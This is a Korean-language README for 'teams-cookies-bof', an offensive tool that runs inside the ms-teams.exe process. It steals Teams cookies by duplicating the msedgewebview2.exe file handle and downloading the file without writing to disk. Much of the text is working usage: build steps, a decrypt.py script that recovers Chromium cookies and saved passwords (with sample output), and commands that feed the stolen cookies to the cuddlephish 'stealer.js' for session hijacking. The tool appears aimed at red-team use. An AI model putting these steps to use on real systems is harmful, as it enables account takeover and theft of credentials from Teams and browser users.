teams-cookies-bof

ms-teams.exe 프로세스 내에서 실행되는 동안 Teams의 쿠키를 탈취합니다. 관련 게시글: https://tierzerosecurity.co.nz/2025/11/03/teams-cookies-bof.html

기반: https://blog.randorisec.fr/ms-teams-access-tokens/.

이 도구는 Cookie-Monster-BOF를 기반으로 합니다.

BOF는 암호화 키를 추출하고, 쿠키 파일에 대한 핸들을 가진 msedgewebview2.exe 프로세스를 찾아 핸들을 복사한 다음 파일리스 방식으로 대상 파일을 다운로드합니다.

쿠키가 다운로드되면 아래의 Python 복호화 스크립트를 사용하여 해당 비밀을 추출할 수 있습니다.

BOF 사용법

BOF는 ms-teams.exe Teams 프로세스 내에서 실행되어야 합니다. BOF는 인수를 받지 않습니다.

BOF 컴파일

컴파일하기 전에 Linux에 Mingw-w64와 make가 설치되어 있는지 확인하십시오.

make

복호화 단계

필요 패키지 설치

pip3 install -r requirements.txt

사용법

python3 decrypt.py -h                                                                                                                                                                      
usage: decrypt.py [-h] -k KEY -o {cookies,passwords,cookie-editor,cuddlephish,firefox} -f FILE [--chrome-aes-key CHROME_AES_KEY]

Decrypt Chromium cookies and passwords given a key and DB file

options:
  -h, --help            show this help message and exit
  -k KEY, --key KEY     Decryption key
  -o {cookies,passwords,cookie-editor,cuddlephish,firefox}, --option {cookies,passwords,cookie-editor,cuddlephish,firefox}
                        Option to choose
  -f FILE, --file FILE  Location of the database file
  --chrome-aes-key CHROME_AES_KEY
                        Chrome AES Key

예시: Chrome/Edge 쿠키 파일 복호화

python .\decrypt.py -k "\xec\xfc...." -o cookies -f ChromeCookies.db

Results Example:
-----------------------------------
Host: .github.com
Path: /
Name: dotcom_user
Cookie: KingOfTheNOPs
Expires: Oct 28 2024 21:25:22

Host: github.com
Path: /
Name: user_session
Cookie: x123.....
Expires: Nov 11 2023 21:25:22

Chrome AES 키로 Chrome 쿠키 복호화

python3 decrypt.py --chrome-aes-key '\x8e\....' -k "\x03\...." -o cuddlephish -f ChromeCookies.db
Cookies saved to cuddlephish_2025-07-03_01-53-57.json

Chrome/Edge 쿠키 파일 복호화 후 JSON으로 저장

python .\decrypt.py -k "\xec\xfc...." -o cookie-editor -f ChromeCookies.db
Results Example:
Cookies saved to 2025-04-11_18-06-10_cookies.json

https://cookie-editor.com/ 에서 쿠키 JSON 파일 가져오기

Chrome/Edge 비밀번호 파일 복호화

python .\decrypt.py -k "\xec\xfc...." -o passwords ChromePasswords.db

Results Example:
-----------------------------------
URL: https://test.com/
Username: tester
Password: McTesty

Firefox 쿠키 및 저장된 자격 증명 복호화:
https://github.com/lclevy/firepwd

CuddlePhish 지원

복호화 스크립트에 cuddlephish 옵션이 추가되어 https://github.com/fkasler/cuddlephish 와 함께 사용할 수 있습니다.

# 쿠키 복호화
python3 decrypt.py -k "\xec\xfc..." -o cuddlephish -f ChromeCookies.db

# 프로젝트 클론
cd 
git clone https://github.com/fkasler/cuddlephish
cd cuddlephish

# Debian 예시 종속성 설치
curl -fsSL https://deb.nodesource.com/setup_23.x -o nodesource_setup.sh
sudo -E bash nodesource_setup.sh
sudo apt-get install nodejs
npm install

# 쿠키 가져오기
cp ~/cookie-monster/cuddlephish_YYYY-MM-DD_HH-MM-SS.json .
node stealer.js cuddlephish_YYYY-MM-DD_HH-MM-SS.json

참고 자료

2025년 Microsoft Teams 액세스 토큰 탈취: https://blog.randorisec.fr/ms-teams-access-tokens/
Cookie-Monster-BOF: https://github.com/KingOfTheNOPs/cookie-monster
Cookie Webkit Master Key Extractor: https://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF
파일리스 다운로드: https://github.com/fortra/nanodump

teams-cookies-bof

인기

teams-cookies-bof

BOF 사용법

BOF 컴파일

복호화 단계

CuddlePhish 지원

참고 자료